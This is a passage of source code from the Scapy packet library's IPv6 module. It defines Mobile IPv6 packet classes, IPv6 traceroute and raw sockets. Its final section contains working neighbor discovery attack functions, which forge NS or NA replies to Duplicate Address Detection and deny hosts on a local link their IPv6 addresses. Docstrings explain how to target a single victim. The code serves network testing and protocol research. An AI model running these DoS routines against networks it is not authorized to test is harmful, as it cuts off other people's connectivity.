2843 8: "DCO-ACK"}
2846class ICMPv6RPL(_ICMPv6): # RFC 6550
2847 name = 'RPL'
2848 fields_desc = [ByteEnumField("type", 155, icmp6types),
2849 ByteEnumField("code", 0, rplcodes),
2850 XShortField("cksum", None)]
2851 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1a"}}
2854#############################################################################
2855#############################################################################
2856# Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) #
2857#############################################################################
2858#############################################################################
2860# Mobile IPv6 ICMPv6 related classes
2862class ICMPv6HAADRequest(_ICMPv6):
2863 name = 'ICMPv6 Home Agent Address Discovery Request'
2864 fields_desc = [ByteEnumField("type", 144, icmp6types),
2865 ByteField("code", 0),
2866 XShortField("cksum", None),
2867 XShortField("id", None),
2868 BitEnumField("R", 1, 1, {1: 'MR'}),
2869 XBitField("res", 0, 15)]
2871 def hashret(self):
2872 return struct.pack("!H", self.id) + self.payload.hashret()
2875class ICMPv6HAADReply(_ICMPv6):
2876 name = 'ICMPv6 Home Agent Address Discovery Reply'
2877 fields_desc = [ByteEnumField("type", 145, icmp6types),
2878 ByteField("code", 0),
2879 XShortField("cksum", None),
2880 XShortField("id", None),
2881 BitEnumField("R", 1, 1, {1: 'MR'}),
2882 XBitField("res", 0, 15),
2883 IP6ListField('addresses', None)]
2885 def hashret(self):
2886 return struct.pack("!H", self.id) + self.payload.hashret()
2888 def answers(self, other):
2889 if not isinstance(other, ICMPv6HAADRequest):
2890 return 0
2891 return self.id == other.id
2894class ICMPv6MPSol(_ICMPv6):
2895 name = 'ICMPv6 Mobile Prefix Solicitation'
2896 fields_desc = [ByteEnumField("type", 146, icmp6types),
2897 ByteField("code", 0),
2898 XShortField("cksum", None),
2899 XShortField("id", None),
2900 XShortField("res", 0)]
2902 def _hashret(self):
2903 return struct.pack("!H", self.id)
2906class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2907 name = 'ICMPv6 Mobile Prefix Advertisement'
2908 fields_desc = [ByteEnumField("type", 147, icmp6types),
2909 ByteField("code", 0),
2910 XShortField("cksum", None),
2911 XShortField("id", None),
2912 BitEnumField("flags", 2, 2, {2: 'M', 1: 'O'}),
2913 XBitField("res", 0, 14)]
2915 def hashret(self):
2916 return struct.pack("!H", self.id)
2918 def answers(self, other):
2919 return isinstance(other, ICMPv6MPSol)
2921# Mobile IPv6 Options classes
2924_mobopttypes = {2: "Binding Refresh Advice",
2925 3: "Alternate Care-of Address",
2926 4: "Nonce Indices",
2927 5: "Binding Authorization Data",
2928 6: "Mobile Network Prefix (RFC3963)",
2929 7: "Link-Layer Address (RFC4068)",
2930 8: "Mobile Node Identifier (RFC4283)",
2931 9: "Mobility Message Authentication (RFC4285)",
2932 10: "Replay Protection (RFC4285)",
2933 11: "CGA Parameters Request (RFC4866)",
2934 12: "CGA Parameters (RFC4866)",
2935 13: "Signature (RFC4866)",
2936 14: "Home Keygen Token (RFC4866)",
2937 15: "Care-of Test Init (RFC4866)",
2938 16: "Care-of Test (RFC4866)"}
2941class _MIP6OptAlign(Packet):
2942 """ Mobile IPv6 options have alignment requirements of the form x*n+y.
2943 This class is inherited by all MIPv6 options to help in computing the
2944 required Padding for that option, i.e. the need for a Pad1 or PadN
2945 option before it. They only need to provide x and y as class
2946 parameters. (x=0 and y=0 are used when no alignment is required)"""
2948 __slots__ = ["x", "y"]
2950 def alignment_delta(self, curpos):
2951 x = self.x
2952 y = self.y
2953 if x == 0 and y == 0:
2954 return 0
2955 delta = x * ((curpos - y + x - 1) // x) + y - curpos
2956 return delta
2958 def extract_padding(self, p):
2959 return b"", p
2962class MIP6OptBRAdvice(_MIP6OptAlign):
2963 name = 'Mobile IPv6 Option - Binding Refresh Advice'
2964 fields_desc = [ByteEnumField('otype', 2, _mobopttypes),
2965 ByteField('olen', 2),
2966 ShortField('rinter', 0)]
2967 x = 2
2968 y = 0 # alignment requirement: 2n
2971class MIP6OptAltCoA(_MIP6OptAlign):
2972 name = 'MIPv6 Option - Alternate Care-of Address'
2973 fields_desc = [ByteEnumField('otype', 3, _mobopttypes),
2974 ByteField('olen', 16),
2975 IP6Field("acoa", "::")]
2976 x = 8
2977 y = 6 # alignment requirement: 8n+6
2980class MIP6OptNonceIndices(_MIP6OptAlign):
2981 name = 'MIPv6 Option - Nonce Indices'
2982 fields_desc = [ByteEnumField('otype', 4, _mobopttypes),
2983 ByteField('olen', 16),
2984 ShortField('hni', 0),
2985 ShortField('coni', 0)]
2986 x = 2
2987 y = 0 # alignment requirement: 2n
2990class MIP6OptBindingAuthData(_MIP6OptAlign):
2991 name = 'MIPv6 Option - Binding Authorization Data'
2992 fields_desc = [ByteEnumField('otype', 5, _mobopttypes),
2993 ByteField('olen', 16),
2994 BitField('authenticator', 0, 96)]
2995 x = 8
2996 y = 2 # alignment requirement: 8n+2
2999class MIP6OptMobNetPrefix(_MIP6OptAlign): # NEMO - RFC 3963
3000 name = 'NEMO Option - Mobile Network Prefix'
3001 fields_desc = [ByteEnumField("otype", 6, _mobopttypes),
3002 ByteField("olen", 18),
3003 ByteField("reserved", 0),
3004 ByteField("plen", 64),
3005 IP6Field("prefix", "::")]
3006 x = 8
3007 y = 4 # alignment requirement: 8n+4
3010class MIP6OptLLAddr(_MIP6OptAlign): # Sect 6.4.4 of RFC 4068
3011 name = "MIPv6 Option - Link-Layer Address (MH-LLA)"
3012 fields_desc = [ByteEnumField("otype", 7, _mobopttypes),
3013 ByteField("olen", 7),
3014 ByteEnumField("ocode", 2, _rfc4068_lla_optcode),
3015 ByteField("pad", 0),
3016 MACField("lla", ETHER_ANY)] # Only support ethernet
3017 x = 0
3018 y = 0 # alignment requirement: none
3021class MIP6OptMNID(_MIP6OptAlign): # RFC 4283
3022 name = "MIPv6 Option - Mobile Node Identifier"
3023 fields_desc = [ByteEnumField("otype", 8, _mobopttypes),
3024 FieldLenField("olen", None, length_of="id", fmt="B",
3025 adjust=lambda pkt, x: x + 1),
3026 ByteEnumField("subtype", 1, {1: "NAI"}),
3027 StrLenField("id", "",
3028 length_from=lambda pkt: pkt.olen - 1)]
3029 x = 0
3030 y = 0 # alignment requirement: none
3032# We only support decoding and basic build. Automatic HMAC computation is
3033# too much work for our current needs. It is left to the user (I mean ...
3034# you). --arno
3037class MIP6OptMsgAuth(_MIP6OptAlign): # RFC 4285 (Sect. 5)
3038 name = "MIPv6 Option - Mobility Message Authentication"
3039 fields_desc = [ByteEnumField("otype", 9, _mobopttypes),
3040 FieldLenField("olen", None, length_of="authdata", fmt="B",
3041 adjust=lambda pkt, x: x + 5),
3042 ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", # noqa: E501
3043 2: "MN-AAA authentication mobility option"}), # noqa: E501
3044 IntField("mspi", None),
3045 StrLenField("authdata", "A" * 12,
3046 length_from=lambda pkt: pkt.olen - 5)]
3047 x = 4
3048 y = 1 # alignment requirement: 4n+1
3050# Extracted from RFC 1305 (NTP) :
3051# NTP timestamps are represented as a 64-bit unsigned fixed-point number,
3052# in seconds relative to 0h on 1 January 1900. The integer part is in the
3053# first 32 bits and the fraction part in the last 32 bits.
3056class NTPTimestampField(LongField):
3057 def i2repr(self, pkt, x):
3058 if x < ((50 * 31536000) << 32):
3059 return "Some date a few decades ago (%d)" % x
3061 # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to
3062 # January 1st 1970 :
3063 delta = -2209075761
3064 i = int(x >> 32)
3065 j = float(x & 0xffffffff) * 2.0**-32
3066 res = i + j + delta
3067 t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res))
3069 return "%s (%d)" % (t, x)
3072class MIP6OptReplayProtection(_MIP6OptAlign): # RFC 4285 (Sect. 6)
3073 name = "MIPv6 option - Replay Protection"
3074 fields_desc = [ByteEnumField("otype", 10, _mobopttypes),
3075 ByteField("olen", 8),
3076 NTPTimestampField("timestamp", 0)]
3077 x = 8
3078 y = 2 # alignment requirement: 8n+2
3081class MIP6OptCGAParamsReq(_MIP6OptAlign): # RFC 4866 (Sect. 5.6)
3082 name = "MIPv6 option - CGA Parameters Request"
3083 fields_desc = [ByteEnumField("otype", 11, _mobopttypes),
3084 ByteField("olen", 0)]
3085 x = 0
3086 y = 0 # alignment requirement: none
3088# XXX TODO: deal with CGA param fragmentation and build of defragmented
3089# XXX version. Passing of a big CGAParam structure should be
3090# XXX simplified. Make it hold packets, by the way --arno
3093class MIP6OptCGAParams(_MIP6OptAlign): # RFC 4866 (Sect. 5.1)
3094 name = "MIPv6 option - CGA Parameters"
3095 fields_desc = [ByteEnumField("otype", 12, _mobopttypes),
3096 FieldLenField("olen", None, length_of="cgaparams", fmt="B"),
3097 StrLenField("cgaparams", "",
3098 length_from=lambda pkt: pkt.olen)]
3099 x = 0
3100 y = 0 # alignment requirement: none
3103class MIP6OptSignature(_MIP6OptAlign): # RFC 4866 (Sect. 5.2)
3104 name = "MIPv6 option - Signature"
3105 fields_desc = [ByteEnumField("otype", 13, _mobopttypes),
3106 FieldLenField("olen", None, length_of="sig", fmt="B"),
3107 StrLenField("sig", "",
3108 length_from=lambda pkt: pkt.olen)]
3109 x = 0
3110 y = 0 # alignment requirement: none
3113class MIP6OptHomeKeygenToken(_MIP6OptAlign): # RFC 4866 (Sect. 5.3)
3114 name = "MIPv6 option - Home Keygen Token"
3115 fields_desc = [ByteEnumField("otype", 14, _mobopttypes),
3116 FieldLenField("olen", None, length_of="hkt", fmt="B"),
3117 StrLenField("hkt", "",
3118 length_from=lambda pkt: pkt.olen)]
3119 x = 0
3120 y = 0 # alignment requirement: none
3123class MIP6OptCareOfTestInit(_MIP6OptAlign): # RFC 4866 (Sect. 5.4)
3124 name = "MIPv6 option - Care-of Test Init"
3125 fields_desc = [ByteEnumField("otype", 15, _mobopttypes),
3126 ByteField("olen", 0)]
3127 x = 0
3128 y = 0 # alignment requirement: none
3131class MIP6OptCareOfTest(_MIP6OptAlign): # RFC 4866 (Sect. 5.5)
3132 name = "MIPv6 option - Care-of Test"
3133 fields_desc = [ByteEnumField("otype", 16, _mobopttypes),
3134 FieldLenField("olen", None, length_of="cokt", fmt="B"),
3135 StrLenField("cokt", b'\x00' * 8,
3136 length_from=lambda pkt: pkt.olen)]
3137 x = 0
3138 y = 0 # alignment requirement: none
3141class MIP6OptUnknown(_MIP6OptAlign):
3142 name = 'Scapy6 - Unknown Mobility Option'
3143 fields_desc = [ByteEnumField("otype", 6, _mobopttypes),
3144 FieldLenField("olen", None, length_of="odata", fmt="B"),
3145 StrLenField("odata", "",
3146 length_from=lambda pkt: pkt.olen)]
3147 x = 0
3148 y = 0 # alignment requirement: none
3150 @classmethod
3151 def dispatch_hook(cls, _pkt=None, *_, **kargs):
3152 if _pkt:
3153 o = _pkt[0] # Option type
3154 if o in moboptcls:
3155 return moboptcls[o]
3156 return cls
3159moboptcls = {0: Pad1,
3160 1: PadN,
3161 2: MIP6OptBRAdvice,
3162 3: MIP6OptAltCoA,
3163 4: MIP6OptNonceIndices,
3164 5: MIP6OptBindingAuthData,
3165 6: MIP6OptMobNetPrefix,
3166 7: MIP6OptLLAddr,
3167 8: MIP6OptMNID,
3168 9: MIP6OptMsgAuth,
3169 10: MIP6OptReplayProtection,
3170 11: MIP6OptCGAParamsReq,
3171 12: MIP6OptCGAParams,
3172 13: MIP6OptSignature,
3173 14: MIP6OptHomeKeygenToken,
3174 15: MIP6OptCareOfTestInit,
3175 16: MIP6OptCareOfTest}
3178# Main Mobile IPv6 Classes
3180mhtypes = {0: 'BRR',
3181 1: 'HoTI',
3182 2: 'CoTI',
3183 3: 'HoT',
3184 4: 'CoT',
3185 5: 'BU',
3186 6: 'BA',
3187 7: 'BE',
3188 8: 'Fast BU',
3189 9: 'Fast BA',
3190 10: 'Fast NA'}
3192# From http://www.iana.org/assignments/mobility-parameters
3193bastatus = {0: 'Binding Update accepted',
3194 1: 'Accepted but prefix discovery necessary',
3195 128: 'Reason unspecified',
3196 129: 'Administratively prohibited',
3197 130: 'Insufficient resources',
3198 131: 'Home registration not supported',
3199 132: 'Not home subnet',
3200 133: 'Not home agent for this mobile node',
3201 134: 'Duplicate Address Detection failed',
3202 135: 'Sequence number out of window',
3203 136: 'Expired home nonce index',
3204 137: 'Expired care-of nonce index',
3205 138: 'Expired nonces',
3206 139: 'Registration type change disallowed',
3207 140: 'Mobile Router Operation not permitted',
3208 141: 'Invalid Prefix',
3209 142: 'Not Authorized for Prefix',
3210 143: 'Forwarding Setup failed (prefixes missing)',
3211 144: 'MIPV6-ID-MISMATCH',
3212 145: 'MIPV6-MESG-ID-REQD',
3213 146: 'MIPV6-AUTH-FAIL',
3214 147: 'Permanent home keygen token unavailable',
3215 148: 'CGA and signature verification failed',
3216 149: 'Permanent home keygen token exists',
3217 150: 'Non-null home nonce index expected'}
3220class _MobilityHeader(Packet):
3221 name = 'Dummy IPv6 Mobility Header'
3222 overload_fields = {IPv6: {"nh": 135}}
3224 def post_build(self, p, pay):
3225 p += pay
3226 tmp_len = self.len
3227 if self.len is None:
3228 tmp_len = (len(p) - 8) // 8
3229 p = p[:1] + struct.pack("B", tmp_len) + p[2:]
3230 if self.cksum is None:
3231 cksum = in6_chksum(135, self.underlayer, p)
3232 else:
3233 cksum = self.cksum
3234 p = p[:4] + struct.pack("!H", cksum) + p[6:]
3235 return p
3238class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg
3239 name = "IPv6 Mobility Header - Generic Message"
3240 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3241 ByteField("len", None),
3242 ByteEnumField("mhtype", None, mhtypes),
3243 ByteField("res", None),
3244 XShortField("cksum", None),
3245 StrLenField("msg", b"\x00" * 2,
3246 length_from=lambda pkt: 8 * pkt.len - 6)]
3249class MIP6MH_BRR(_MobilityHeader):
3250 name = "IPv6 Mobility Header - Binding Refresh Request"
3251 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3252 ByteField("len", None),
3253 ByteEnumField("mhtype", 0, mhtypes),
3254 ByteField("res", None),
3255 XShortField("cksum", None),
3256 ShortField("res2", None),
3257 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3258 _OptionsField("options", [], MIP6OptUnknown, 8,
3259 length_from=lambda pkt: 8 * pkt.len)]
3260 overload_fields = {IPv6: {"nh": 135}}
3262 def hashret(self):
3263 # Hack: BRR, BU and BA have the same hashret that returns the same
3264 # value b"\x00\x08\x09" (concatenation of mhtypes). This is
3265 # because we need match BA with BU and BU with BRR. --arno
3266 return b"\x00\x08\x09"
3269class MIP6MH_HoTI(_MobilityHeader):
3270 name = "IPv6 Mobility Header - Home Test Init"
3271 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3272 ByteField("len", None),
3273 ByteEnumField("mhtype", 1, mhtypes),
3274 ByteField("res", None),
3275 XShortField("cksum", None),
3276 StrFixedLenField("reserved", b"\x00" * 2, 2),
3277 StrFixedLenField("cookie", b"\x00" * 8, 8),
3278 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3279 _OptionsField("options", [], MIP6OptUnknown, 16,
3280 length_from=lambda pkt: 8 * (pkt.len - 1))]
3281 overload_fields = {IPv6: {"nh": 135}}
3283 def hashret(self):
3284 return bytes_encode(self.cookie)
3287class MIP6MH_CoTI(MIP6MH_HoTI):
3288 name = "IPv6 Mobility Header - Care-of Test Init"
3289 mhtype = 2
3291 def hashret(self):
3292 return bytes_encode(self.cookie)
3295class MIP6MH_HoT(_MobilityHeader):
3296 name = "IPv6 Mobility Header - Home Test"
3297 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3298 ByteField("len", None),
3299 ByteEnumField("mhtype", 3, mhtypes),
3300 ByteField("res", None),
3301 XShortField("cksum", None),
3302 ShortField("index", None),
3303 StrFixedLenField("cookie", b"\x00" * 8, 8),
3304 StrFixedLenField("token", b"\x00" * 8, 8),
3305 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3306 _OptionsField("options", [], MIP6OptUnknown, 24,
3307 length_from=lambda pkt: 8 * (pkt.len - 2))]
3308 overload_fields = {IPv6: {"nh": 135}}
3310 def hashret(self):
3311 return bytes_encode(self.cookie)
3313 def answers(self, other):
3314 if (isinstance(other, MIP6MH_HoTI) and
3315 self.cookie == other.cookie):
3316 return 1
3317 return 0
3320class MIP6MH_CoT(MIP6MH_HoT):
3321 name = "IPv6 Mobility Header - Care-of Test"
3322 mhtype = 4
3324 def hashret(self):
3325 return bytes_encode(self.cookie)
3327 def answers(self, other):
3328 if (isinstance(other, MIP6MH_CoTI) and
3329 self.cookie == other.cookie):
3330 return 1
3331 return 0
3334class LifetimeField(ShortField):
3335 def i2repr(self, pkt, x):
3336 return "%d sec" % (4 * x)
3339class MIP6MH_BU(_MobilityHeader):
3340 name = "IPv6 Mobility Header - Binding Update"
3341 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3342 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501
3343 ByteEnumField("mhtype", 5, mhtypes),
3344 ByteField("res", None),
3345 XShortField("cksum", None),
3346 XShortField("seq", None), # TODO: ShortNonceField
3347 FlagsField("flags", "KHA", 7, "PRMKLHA"),
3348 XBitField("reserved", 0, 9),
3349 LifetimeField("mhtime", 3), # unit == 4 seconds
3350 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3351 _OptionsField("options", [], MIP6OptUnknown, 12,
3352 length_from=lambda pkt: 8 * pkt.len - 4)]
3353 overload_fields = {IPv6: {"nh": 135}}
3355 def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
3356 return b"\x00\x08\x09"
3358 def answers(self, other):
3359 if isinstance(other, MIP6MH_BRR):
3360 return 1
3361 return 0
3364class MIP6MH_BA(_MobilityHeader):
3365 name = "IPv6 Mobility Header - Binding ACK"
3366 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3367 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501
3368 ByteEnumField("mhtype", 6, mhtypes),
3369 ByteField("res", None),
3370 XShortField("cksum", None),
3371 ByteEnumField("status", 0, bastatus),
3372 FlagsField("flags", "K", 3, "PRK"),
3373 XBitField("res2", None, 5),
3374 XShortField("seq", None), # TODO: ShortNonceField
3375 XShortField("mhtime", 0), # unit == 4 seconds
3376 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3377 _OptionsField("options", [], MIP6OptUnknown, 12,
3378 length_from=lambda pkt: 8 * pkt.len - 4)]
3379 overload_fields = {IPv6: {"nh": 135}}
3381 def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
3382 return b"\x00\x08\x09"
3384 def answers(self, other):
3385 if (isinstance(other, MIP6MH_BU) and
3386 other.mhtype == 5 and
3387 self.mhtype == 6 and
3388 other.flags & 0x1 and # Ack request flags is set
3389 self.seq == other.seq):
3390 return 1
3391 return 0
3394_bestatus = {1: 'Unknown binding for Home Address destination option',
3395 2: 'Unrecognized MH Type value'}
3397# TODO: match Binding Error to its stimulus
3400class MIP6MH_BE(_MobilityHeader):
3401 name = "IPv6 Mobility Header - Binding Error"
3402 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3403 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501
3404 ByteEnumField("mhtype", 7, mhtypes),
3405 ByteField("res", 0),
3406 XShortField("cksum", None),
3407 ByteEnumField("status", 0, _bestatus),
3408 ByteField("reserved", 0),
3409 IP6Field("ha", "::"),
3410 _OptionsField("options", [], MIP6OptUnknown, 24,
3411 length_from=lambda pkt: 8 * (pkt.len - 2))]
3412 overload_fields = {IPv6: {"nh": 135}}
3415_mip6_mhtype2cls = {0: MIP6MH_BRR,
3416 1: MIP6MH_HoTI,
3417 2: MIP6MH_CoTI,
3418 3: MIP6MH_HoT,
3419 4: MIP6MH_CoT,
3420 5: MIP6MH_BU,
3421 6: MIP6MH_BA,
3422 7: MIP6MH_BE}
3425#############################################################################
3426#############################################################################
3427# Traceroute6 #
3428#############################################################################
3429#############################################################################
3431class AS_resolver6(AS_resolver_riswhois):
3432 def _resolve_one(self, ip):
3433 """
3434 overloaded version to provide a Whois resolution on the
3435 embedded IPv4 address if the address is 6to4 or Teredo.
3436 Otherwise, the native IPv6 address is passed.
3437 """
3439 if in6_isaddr6to4(ip): # for 6to4, use embedded @
3440 tmp = inet_pton(socket.AF_INET6, ip)
3441 addr = inet_ntop(socket.AF_INET, tmp[2:6])
3442 elif in6_isaddrTeredo(ip): # for Teredo, use mapped address
3443 addr = teredoAddrExtractInfo(ip)[2]
3444 else:
3445 addr = ip
3447 _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)
3449 if asn.startswith("AS"):
3450 try:
3451 asn = int(asn[2:])
3452 except ValueError:
3453 pass
3455 return ip, asn, desc
3458class TracerouteResult6(TracerouteResult):
3459 __slots__ = []
3461 def show(self):
3462 return self.make_table(lambda s, r: (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! # noqa: E501
3463 s.hlim,
3464 r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}" + # noqa: E501
3465 "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}" + # noqa: E501
3466 "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}" + # noqa: E501
3467 "{ICMPv6EchoReply:%ir,type%}"))) # noqa: E501
3469 def get_trace(self):
3470 trace = {}
3472 for s, r in self.res:
3473 if IPv6 not in s:
3474 continue
3475 d = s[IPv6].dst
3476 if d not in trace:
3477 trace[d] = {}
3479 t = not (ICMPv6TimeExceeded in r or
3480 ICMPv6DestUnreach in r or
3481 ICMPv6PacketTooBig in r or
3482 ICMPv6ParamProblem in r)
3484 trace[d][s[IPv6].hlim] = r[IPv6].src, t
3486 for k in trace.values():
3487 try:
3488 m = min(x for x, y in k.items() if y[1])
3489 except ValueError:
3490 continue
3491 for li in list(k): # use list(): k is modified in the loop
3492 if li > m:
3493 del k[li]
3495 return trace
3497 def graph(self, ASres=AS_resolver6(), **kargs):
3498 TracerouteResult.graph(self, ASres=ASres, **kargs)
3501@conf.commands.register
3502def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(),
3503 l4=None, timeout=2, verbose=None, **kargs):
3504 """Instant TCP traceroute using IPv6
3505 traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None
3506 """
3507 if verbose is None:
3508 verbose = conf.verb
3510 if l4 is None:
3511 a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501
3512 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) # noqa: E501
3513 else:
3514 a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / l4,
3515 timeout=timeout, verbose=verbose, **kargs)
3517 a = TracerouteResult6(a.res)
3519 if verbose:
3520 a.show()
3522 return a, b
3524#############################################################################
3525#############################################################################
3526# Sockets #
3527#############################################################################
3528#############################################################################
3531if not WINDOWS:
3532 from scapy.supersocket import L3RawSocket
3534 class L3RawSocket6(L3RawSocket):
3535 def __init__(self, type=ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501
3536 # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) # noqa: E501
3537 self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501
3538 self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501
3539 self.iface = iface
3542def IPv6inIP(dst='203.178.135.36', src=None):
3543 _IPv6inIP.dst = dst
3544 _IPv6inIP.src = src
3545 if not conf.L3socket == _IPv6inIP:
3546 _IPv6inIP.cls = conf.L3socket
3547 else:
3548 del conf.L3socket
3549 return _IPv6inIP
3552class _IPv6inIP(SuperSocket):
3553 dst = '127.0.0.1'
3554 src = None
3555 cls = None
3557 def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): # noqa: E501
3558 SuperSocket.__init__(self, family, type, proto)
3559 self.worker = self.cls(**args)
3561 def set(self, dst, src=None):
3562 _IPv6inIP.src = src
3563 _IPv6inIP.dst = dst
3565 def nonblock_recv(self):
3566 p = self.worker.nonblock_recv()
3567 return self._recv(p)
3569 def recv(self, x):
3570 p = self.worker.recv(x)
3571 return self._recv(p, x)
3573 def _recv(self, p, x=MTU):
3574 if p is None:
3575 return p
3576 elif isinstance(p, IP):
3577 # TODO: verify checksum
3578 if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:
3579 if isinstance(p.payload, IPv6):
3580 return p.payload
3581 return p
3583 def send(self, x):
3584 return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6) / x) # noqa: E501
3587#############################################################################
3588#############################################################################
3589# Neighbor Discovery Protocol Attacks #
3590#############################################################################
3591#############################################################################
3593def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
3594 tgt_filter=None, reply_mac=None):
3595 """
3596 Internal generic helper accepting a specific callback as first argument,
3597 for NS or NA reply. See the two specific functions below.
3598 """
3600 def is_request(req, mac_src_filter, tgt_filter):
3601 """
3602 Check if packet req is a request
3603 """
3605 # Those simple checks are based on Section 5.4.2 of RFC 4862
3606 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3607 return 0
3609 # Get and compare the MAC address
3610 mac_src = req[Ether].src
3611 if mac_src_filter and mac_src != mac_src_filter:
3612 return 0
3614 # Source must be the unspecified address
3615 if req[IPv6].src != "::":
3616 return 0
3618 # Check destination is the link-local solicited-node multicast
3619 # address associated with target address in received NS
3620 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3621 if tgt_filter and tgt != tgt_filter:
3622 return 0
3623 received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst)
3624 expected_snma = in6_getnsma(tgt)
3625 if received_snma != expected_snma:
3626 return 0
3628 return 1
3630 if not iface:
3631 iface = conf.iface
3633 # To prevent sniffing our own traffic
3634 if not reply_mac:
3635 reply_mac = get_if_hwaddr(iface)
3636 sniff_filter = "icmp6 and not ether src %s" % reply_mac
3638 sniff(store=0,
3639 filter=sniff_filter,
3640 lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3641 prn=lambda x: reply_callback(x, reply_mac, iface),
3642 iface=iface)
3645def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
3646 reply_mac=None):
3647 """
3648 Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3649 3756. This is done by listening incoming NS messages sent from the
3650 unspecified address and sending a NS reply for the target address,
3651 leading the peer to believe that another node is also performing DAD
3652 for that address.
3654 By default, the fake NS sent to create the DoS uses:
3655 - as target address the target address found in received NS.
3656 - as IPv6 source address: the unspecified address (::).
3657 - as IPv6 destination address: the link-local solicited-node multicast
3658 address derived from the target address in received NS.
3659 - the mac address of the interface as source (or reply_mac, see below).
3660 - the multicast mac address derived from the solicited node multicast
3661 address used as IPv6 destination address.
3663 Following arguments can be used to change the behavior:
3665 iface: a specific interface (e.g. "eth0") of the system on which the
3666 DoS should be launched. If None is provided conf.iface is used.
3668 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3669 Only NS messages received from this source will trigger replies.
3670 This allows limiting the effects of the DoS to a single target by
3671 filtering on its mac address. The default value is None: the DoS
3672 is not limited to a specific mac address.
3674 tgt_filter: Same as previous but for a specific target IPv6 address for
3675 received NS. If the target address in the NS message (not the IPv6
3676 destination address) matches that address, then a fake reply will
3677 be sent, i.e. the emitter will be a target of the DoS.
3679 reply_mac: allow specifying a specific source mac address for the reply,
3680 i.e. to prevent the use of the mac address of the interface.
3681 """
3683 def ns_reply_callback(req, reply_mac, iface):
3684 """
3685 Callback that reply to a NS by sending a similar NS
3686 """
3688 # Let's build a reply and send it
3689 mac = req[Ether].src
3690 dst = req[IPv6].dst
3691 tgt = req[ICMPv6ND_NS].tgt
3692 rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt) # noqa: E501
3693 sendp(rep, iface=iface, verbose=0)
3695 print("Reply NS for target address %s (received from %s)" % (tgt, mac))
3697 _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
3698 tgt_filter, reply_mac)
3701def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
3702 reply_mac=None):
3703 """
3704 Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3705 3756. This is done by listening incoming NS messages *sent from the
3706 unspecified address* and sending a NA reply for the target address,
3707 leading the peer to believe that another node is also performing DAD
3708 for that address.
3710 By default, the fake NA sent to create the DoS uses:
3711 - as target address the target address found in received NS.
3712 - as IPv6 source address: the target address found in received NS.
3713 - as IPv6 destination address: the link-local solicited-node multicast
3714 address derived from the target address in received NS.
3715 - the mac address of the interface as source (or reply_mac, see below).
3716 - the multicast mac address derived from the solicited node multicast
3717 address used as IPv6 destination address.
3718 - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
3719 with the mac address used as source of the NA.
3721 Following arguments can be used to change the behavior:
3723 iface: a specific interface (e.g. "eth0") of the system on which the
3724 DoS should be launched. If None is provided conf.iface is used.
3726 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3727 Only NS messages received from this source will trigger replies.
3728 This allows limiting the effects of the DoS to a single target by
3729 filtering on its mac address. The default value is None: the DoS
3730 is not limited to a specific mac address.
3732 tgt_filter: Same as previous but for a specific target IPv6 address for
